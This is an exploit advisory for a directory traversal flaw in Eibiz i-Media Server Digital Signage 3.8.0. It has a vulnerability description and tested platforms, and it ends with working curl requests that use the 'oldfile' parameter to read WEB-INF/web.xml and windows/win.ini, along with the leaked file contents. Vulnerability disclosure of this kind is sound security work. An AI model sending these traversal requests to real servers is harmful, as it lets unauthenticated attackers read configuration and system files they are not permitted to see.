Eibiz i-Media Server Digital Signage 3.8.0 - Directory Traversal

# Exploit Title: Eibiz i-Media Server Digital Signage 3.8.0 - Directory Traversal
# Date: 2020-08-22
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.eibiz.co.th
# Affected version: <=3.8.0
# CVE: N/A

Eibiz i-Media Server Digital Signage 3.8.0 (oldfile) File Path Traversal


Vendor: EIBIZ Co.,Ltd.
Product web page: http://www.eibiz.co.th
Affected version: <=3.8.0

Summary: EIBIZ develop advertising platform for out of home media in that
time the world called "Digital Signage". Because most business customers
still need get outside to get in touch which products and services. Online
media alone cannot serve them right place, right time.

Desc: i-Media Server is affected by a directory traversal vulnerability. An
unauthenticated remote attacker can exploit this to view the contents of
files located outside of the server's root directory. The issue can be
triggered through the 'oldfile' GET parametery.

Tested on: Windows Server 2016
           Windows Server 2012 R2
           Windows Server 2008 R2           
           Apache Flex
           Apache Tomcat/6.0.14
           Apache-Coyote/1.1
           BlazeDS Application


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5585
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5585.php


26.07.2020

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$ curl "http://192.168.1.1/dlibrary/null?oldfile=../../WEB-INF/web.xml&library=null"

$ curl "http://192.168.1.1/dlibrary/null?oldfile=../../../../../../windows/win.ini&library=null"
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1